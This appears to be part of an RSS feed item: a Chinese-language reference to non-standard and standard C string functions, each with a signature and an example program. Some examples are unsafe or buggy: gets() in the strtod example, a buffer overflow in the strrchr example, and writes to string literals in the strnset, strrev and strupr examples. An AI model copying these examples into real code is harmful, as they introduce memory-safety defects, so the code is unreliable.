<br/>&nbsp;&nbsp;&nbsp;&nbsp;int length;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;length = strcspn(string1, string2); <br/>&nbsp;&nbsp;&nbsp;&nbsp;printf(&#34;Character wh&#101;re strings intersect is at position %d\n&#34;, length);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;return 0; <br/>} <br/><br/><br/><br/><br/>函数名: strdup <br/>功 能: 将串拷贝到新建的位置处 <br/>用 法: char *strdup(char *str); <br/>程序例:<br/><br/>#include &lt;stdio.h&gt; <br/>#include &lt;string.h&gt; <br/>#include &lt;alloc.h&gt;<br/><br/>int main(void) <br/>{ <br/>&nbsp;&nbsp;&nbsp;&nbsp;char *dup_str, *string = &#34;abcde&#34;;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;dup_str = strdup(string); <br/>&nbsp;&nbsp;&nbsp;&nbsp;printf(&#34;%s\n&#34;, dup_str); <br/>&nbsp;&nbsp;&nbsp;&nbsp;free(dup_str);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;return 0; <br/>} <br/><br/><br/><br/><br/>函数名: stricmp <br/>功 能: 以大小写不敏感方式比较两个串 <br/>用 法: int stricmp(char *str1, char *str2); <br/>程序例:<br/><br/>#include &lt;string.h&gt; <br/>#include &lt;stdio.h&gt;<br/><br/>int main(void) <br/>{ <br/>&nbsp;&nbsp; char *buf1 = &#34;BBB&#34;, *buf2 = &#34;bbb&#34;; <br/>&nbsp;&nbsp; int ptr;<br/><br/>&nbsp;&nbsp; ptr = stricmp(buf2, buf1);<br/><br/>&nbsp;&nbsp; if (ptr &gt; 0) <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#34;buffer 2 is greater than buffer 1\n&#34;);<br/><br/>&nbsp;&nbsp; if (ptr &lt; 0) <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#34;buffer 2 is less than buffer 1\n&#34;);<br/><br/>&nbsp;&nbsp; if (ptr == 0) <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#34;buffer 2 equals buffer 1\n&#34;);<br/><br/>&nbsp;&nbsp; return 0; <br/>} <br/><br/><br/><br/>函数名: strerror <br/>功 能: 返回指向错误信息字符串的指针 <br/>用 法: char *strerror(int errnum); <br/>程序例:<br/><br/>#include &lt;stdio.h&gt; <br/>#include &lt;errno.h&gt;<br/><br/>int main(void) <br/>{ <br/>&nbsp;&nbsp; char *buffer; <br/>&nbsp;&nbsp; buffer = strerror(errno); <br/>&nbsp;&nbsp; printf(&#34;Error: %s\n&#34;, buffer); <br/>&nbsp;&nbsp; return 0; <br/>} <br/><br/><br/><br/><br/>函数名: strcmpi <br/>功 能: 将一个串与另一个比较, 不管大小写 <br/>用 法: int strcmpi(char *str1, char *str2); <br/>程序例:<br/><br/>#include &lt;string.h&gt; <br/>#include &lt;stdio.h&gt;<br/><br/>int main(void) <br/>{ <br/>&nbsp;&nbsp; char *buf1 = &#34;BBB&#34;, *buf2 = &#34;bbb&#34;; <br/>&nbsp;&nbsp; int ptr;<br/><br/>&nbsp;&nbsp; ptr = strcmpi(buf2, buf1);<br/><br/>&nbsp;&nbsp; if (ptr &gt; 0) <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#34;buffer 2 is greater than buffer 1\n&#34;);<br/><br/>&nbsp;&nbsp; if (ptr &lt; 0) <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#34;buffer 2 is less than buffer 1\n&#34;);<br/><br/>&nbsp;&nbsp; if (ptr == 0) <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#34;buffer 2 equals buffer 1\n&#34;);<br/><br/>&nbsp;&nbsp; return 0; <br/>} <br/><br/><br/><br/><br/>函数名: strncmp <br/>功 能: 串比较 <br/>用 法: int strncmp(char *str1, char *str2, int maxlen); <br/>程序例:<br/><br/>#include &lt;string.h&gt; <br/>#include &lt;stdio.h&gt;<br/><br/>int main(void)<br/><br/>{ <br/>&nbsp;&nbsp; char *buf1 = &#34;aaabbb&#34;, *buf2 = &#34;bbbccc&#34;, *buf3 = &#34;ccc&#34;; <br/>&nbsp;&nbsp; int ptr;<br/><br/>&nbsp;&nbsp; ptr = strncmp(buf2,buf1,3); <br/>&nbsp;&nbsp; if (ptr &gt; 0) <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#34;buffer 2 is greater than buffer 1\n&#34;); <br/>&nbsp;&nbsp; else <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#34;buffer 2 is less than buffer 1\n&#34;);<br/><br/>&nbsp;&nbsp; ptr = strncmp(buf2,buf3,3); <br/>&nbsp;&nbsp; if (ptr &gt; 0) <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#34;buffer 2 is greater than buffer 3\n&#34;); <br/>&nbsp;&nbsp; else <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#34;buffer 2 is less than buffer 3\n&#34;);<br/><br/>&nbsp;&nbsp; return(0); <br/>} <br/><br/><br/><br/>函数名: strncmpi <br/>功 能: 把串中的一部分与另一串中的一部分比较, 不管大小写 <br/>用 法: int strncmpi(char *str1, char *str2); <br/>程序例:<br/><br/>#include &lt;string.h&gt; <br/>#include &lt;stdio.h&gt;<br/><br/>int main(void) <br/>{ <br/>&nbsp;&nbsp; char *buf1 = &#34;BBBccc&#34;, *buf2 = &#34;bbbccc&#34;; <br/>&nbsp;&nbsp; int ptr;<br/><br/>&nbsp;&nbsp; ptr = strncmpi(buf2,buf1,3);<br/><br/>&nbsp;&nbsp; if (ptr &gt; 0) <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#34;buffer 2 is greater than buffer 1\n&#34;);<br/><br/>&nbsp;&nbsp; if (ptr &lt; 0) <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#34;buffer 2 is less than buffer 1\n&#34;);<br/><br/>&nbsp;&nbsp; if (ptr == 0) <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#34;buffer 2 equals buffer 1\n&#34;);<br/><br/>&nbsp;&nbsp; return 0; <br/>} <br/><br/><br/><br/>函数名: strncpy <br/>功 能: 串拷贝 <br/>用 法: char *strncpy(char *destin, char *source, int maxlen); <br/>程序例:<br/><br/>#include &lt;stdio.h&gt; <br/>#include &lt;string.h&gt;<br/><br/>int main(void) <br/>{ <br/>&nbsp;&nbsp; char string[10]; <br/>&nbsp;&nbsp; char *str1 = &#34;abcdefghi&#34;;<br/><br/>&nbsp;&nbsp; strncpy(string, str1, 3); <br/>&nbsp;&nbsp; string[3] = &#39;\0&#39;; <br/>&nbsp;&nbsp; printf(&#34;%s\n&#34;, string); <br/>&nbsp;&nbsp; return 0; <br/>} <br/><br/><br/><br/>函数名: strnicmp <br/>功 能: 不注重大小写地比较两个串 <br/>用 法: int strnicmp(char *str1, char *str2, unsigned maxlen); <br/>程序例:<br/><br/>#include &lt;string.h&gt; <br/>#include &lt;stdio.h&gt;<br/><br/>int main(void) <br/>{ <br/>&nbsp;&nbsp; char *buf1 = &#34;BBBccc&#34;, *buf2 = &#34;bbbccc&#34;; <br/>&nbsp;&nbsp; int ptr;<br/><br/>&nbsp;&nbsp; ptr = strnicmp(buf2, buf1, 3);<br/><br/>&nbsp;&nbsp; if (ptr &gt; 0) <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#34;buffer 2 is greater than buffer 1\n&#34;);<br/><br/>&nbsp;&nbsp; if (ptr &lt; 0) <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#34;buffer 2 is less than buffer 1\n&#34;);<br/><br/>&nbsp;&nbsp; if (ptr == 0) <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#34;buffer 2 equals buffer 1\n&#34;);<br/><br/>&nbsp;&nbsp; return 0; <br/>} <br/><br/><br/><br/><br/>函数名: strnset <br/>功 能: 将一个串中的所有字符都设为指定字符 <br/>用 法: char *strnset(char *str, char ch, unsigned n); <br/>程序例:<br/><br/>#include &lt;stdio.h&gt; <br/>#include &lt;string.h&gt;<br/><br/>int main(void) <br/>{ <br/>&nbsp;&nbsp; char *string = &#34;abcdefghijklmnopqrstuvwxyz&#34;; <br/>&nbsp;&nbsp; char letter = &#39;x&#39;;<br/><br/>&nbsp;&nbsp; printf(&#34;string before strnset: %s\n&#34;, string); <br/>&nbsp;&nbsp; strnset(string, letter, 13); <br/>&nbsp;&nbsp; printf(&#34;string after strnset: %s\n&#34;, string);<br/><br/>&nbsp;&nbsp; return 0; <br/>} <br/><br/><br/><br/>函数名: strpbrk <br/>功 能: 在串中查找给定字符集中的字符 <br/>用 法: char *strpbrk(char *str1, char *str2); <br/>程序例:<br/><br/>#include &lt;stdio.h&gt; <br/>#include &lt;string.h&gt;<br/><br/>int main(void) <br/>{ <br/>&nbsp;&nbsp; char *string1 = &#34;abcdefghijklmnopqrstuvwxyz&#34;; <br/>&nbsp;&nbsp; char *string2 = &#34;onm&#34;; <br/>&nbsp;&nbsp; char *ptr;<br/><br/>&nbsp;&nbsp; ptr = strpbrk(string1, string2);<br/><br/>&nbsp;&nbsp; if (ptr) <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#34;strpbrk found first character: %c\n&#34;, *ptr); <br/>&nbsp;&nbsp; else <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#34;strpbrk didn&#39;t find character in set\n&#34;);<br/><br/>&nbsp;&nbsp; return 0; <br/>} <br/><br/><br/><br/><br/>函数名: strrchr <br/>功 能: 在串中查找指定字符的最后一个出现 <br/>用 法: char *strrchr(char *str, char c); <br/>程序例:<br/><br/>#include &lt;string.h&gt; <br/>#include &lt;stdio.h&gt;<br/><br/>int main(void) <br/>{ <br/>&nbsp;&nbsp; char string[15]; <br/>&nbsp;&nbsp; char *ptr, c = &#39;r&#39;;<br/><br/>&nbsp;&nbsp; strcpy(string, &#34;This is a string&#34;); <br/>&nbsp;&nbsp; ptr = strrchr(string, c); <br/>&nbsp;&nbsp; if (ptr) <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#34;The character %c is at position: %d\n&#34;, c, ptr-string); <br/>&nbsp;&nbsp; else <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#34;The character was not found\n&#34;); <br/>&nbsp;&nbsp; return 0; <br/>} <br/><br/><br/><br/><br/>函数名: strrev <br/>功 能: 串倒转 <br/>用 法: char *strrev(char *str); <br/>程序例:<br/><br/>#include &lt;string.h&gt; <br/>#include &lt;stdio.h&gt;<br/><br/>int main(void) <br/>{ <br/>&nbsp;&nbsp; char *forward = &#34;string&#34;;<br/><br/>&nbsp;&nbsp; printf(&#34;Before strrev(): %s\n&#34;, forward); <br/>&nbsp;&nbsp; strrev(forward); <br/>&nbsp;&nbsp; printf(&#34;After strrev(): %s\n&#34;, forward); <br/>&nbsp;&nbsp; return 0; <br/>} <br/><br/><br/>函数名: strset <br/>功 能: 将一个串中的所有字符都设为指定字符 <br/>用 法: char *strset(char *str, char c); <br/>程序例:<br/><br/>#include &lt;stdio.h&gt; <br/>#include &lt;string.h&gt;<br/><br/>int main(void) <br/>{ <br/>&nbsp;&nbsp; char string[10] = &#34;123456789&#34;; <br/>&nbsp;&nbsp; char symbol = &#39;c&#39;;<br/><br/>&nbsp;&nbsp; printf(&#34;Before strset(): %s\n&#34;, string); <br/>&nbsp;&nbsp; strset(string, symbol); <br/>&nbsp;&nbsp; printf(&#34;After strset(): %s\n&#34;, string); <br/>&nbsp;&nbsp; return 0; <br/>} <br/><br/><br/><br/><br/>函数名: strspn <br/>功 能: 在串中查找指定字符集的子集的第一次出现 <br/>用 法: int strspn(char *str1, char *str2); <br/>程序例:<br/><br/>#include &lt;stdio.h&gt; <br/>#include &lt;string.h&gt; <br/>#include &lt;alloc.h&gt;<br/><br/>int main(void) <br/>{ <br/>&nbsp;&nbsp; char *string1 = &#34;1234567890&#34;; <br/>&nbsp;&nbsp; char *string2 = &#34;123DC8&#34;; <br/>&nbsp;&nbsp; int length;<br/><br/>&nbsp;&nbsp; length = strspn(string1, string2); <br/>&nbsp;&nbsp; printf(&#34;Character wh&#101;re strings differ is at position %d\n&#34;, length); <br/>&nbsp;&nbsp; return 0; <br/>} <br/><br/><br/><br/>函数名: strstr <br/>功 能: 在串中查找指定字符串的第一次出现 <br/>用 法: char *strstr(char *str1, char *str2); <br/>程序例:<br/><br/>#include &lt;stdio.h&gt; <br/>#include &lt;string.h&gt;<br/><br/>int main(void) <br/>{ <br/>&nbsp;&nbsp; char *str1 = &#34;Borland International&#34;, *str2 = &#34;nation&#34;, *ptr;<br/><br/>&nbsp;&nbsp; ptr = strstr(str1, str2); <br/>&nbsp;&nbsp; printf(&#34;The substring is: %s\n&#34;, ptr); <br/>&nbsp;&nbsp; return 0; <br/>} <br/><br/><br/><br/>函数名: strtod <br/>功 能: 将字符串转换为double型值 <br/>用 法: double strtod(char *str, char **endptr); <br/>程序例:<br/><br/>#include &lt;stdio.h&gt; <br/>#include &lt;stdlib.h&gt;<br/><br/>int main(void) <br/>{ <br/>&nbsp;&nbsp; char input[80], *endptr; <br/>&nbsp;&nbsp; double value;<br/><br/>&nbsp;&nbsp; printf(&#34;Enter a floating point number:&#34;); <br/>&nbsp;&nbsp; gets(input); <br/>&nbsp;&nbsp; value = strtod(input, &amp;endptr); <br/>&nbsp;&nbsp; printf(&#34;The string is %s the number is %lf\n&#34;, input, value); <br/>&nbsp;&nbsp; return 0; <br/>} <br/><br/><br/><br/><br/>函数名: strtok <br/>功 能: 查找由在第二个串中指定的分界符分隔开的单词 <br/>用 法: char *strtok(char *str1, char *str2); <br/>程序例:<br/><br/>#include &lt;string.h&gt; <br/>#include &lt;stdio.h&gt;<br/><br/>int main(void) <br/>{ <br/>&nbsp;&nbsp; char input[16] = &#34;abc,d&#34;; <br/>&nbsp;&nbsp; char *p;<br/><br/>&nbsp;&nbsp; /* strtok places a NULL terminator <br/>&nbsp;&nbsp; in front of the token, if found */ <br/>&nbsp;&nbsp; p = strtok(input, &#34;,&#34;); <br/>&nbsp;&nbsp; if (p)&nbsp;&nbsp; printf(&#34;%s\n&#34;, p);<br/><br/>&nbsp;&nbsp; /* A second call to strtok using a NULL <br/>&nbsp;&nbsp; as the first parameter returns a pointer <br/>&nbsp;&nbsp; to the character following the token */ <br/>&nbsp;&nbsp; p = strtok(NULL, &#34;,&#34;); <br/>&nbsp;&nbsp; if (p)&nbsp;&nbsp; printf(&#34;%s\n&#34;, p); <br/>&nbsp;&nbsp; return 0; <br/>} <br/><br/><br/><br/><br/>函数名: strtol <br/>功 能: 将串转换为长整数 <br/>用 法: long strtol(char *str, char **endptr, int base); <br/>程序例:<br/><br/>#include &lt;stdlib.h&gt; <br/>#include &lt;stdio.h&gt;<br/><br/>int main(void) <br/>{ <br/>&nbsp;&nbsp; char *string = &#34;87654321&#34;, *endptr; <br/>&nbsp;&nbsp; long lnumber;<br/><br/>&nbsp;&nbsp; /* strtol converts string to long integer */ <br/>&nbsp;&nbsp; lnumber = strtol(string, &amp;endptr, 10); <br/>&nbsp;&nbsp; printf(&#34;string = %s long = %ld\n&#34;, string, lnumber);<br/><br/>&nbsp;&nbsp; return 0; <br/>} <br/><br/><br/>函数名: strupr <br/>功 能: 将串中的小写字母转换为大写字母 <br/>用 法: char *strupr(char *str); <br/>程序例:<br/><br/>#include &lt;stdio.h&gt; <br/>#include &lt;string.h&gt;<br/><br/>int main(void) <br/>{ <br/>&nbsp;&nbsp; char *string = &#34;abcdefghijklmnopqrstuvwxyz&#34;, *ptr;<br/><br/>&nbsp;&nbsp; /* converts string to upper case characters */ <br/>&nbsp;&nbsp; ptr = strupr(string); <br/>&nbsp;&nbsp; printf(&#34;%s\n&#34;, ptr); <br/>&nbsp;&nbsp; return 0; <br/>} <br/><br/><br/><br/><br/>函数名: swab <br/>功 能: 交换字节 <br/>用 法: void swab (char *from, char *to, int nbytes); <br/>程序例:<br/><br/>#include &lt;stdlib.h&gt; <br/>#include &lt;stdio.h&gt; <br/>#include &lt;string.h&gt;<br/><br/>char source[15] = &#34;rFna koBlrna d&#34;; <br/>char target[15];<br/><br/>int main(void) <br/>{ <br/>&nbsp;&nbsp; swab(source, target, strlen(source)); <br/>&nbsp;&nbsp; printf(&#34;This is target: %s\n&#34;, target); <br/>&nbsp;&nbsp; return 0; <br/>}<br/>]]></description>
		</item>
		
</channel>
</rss>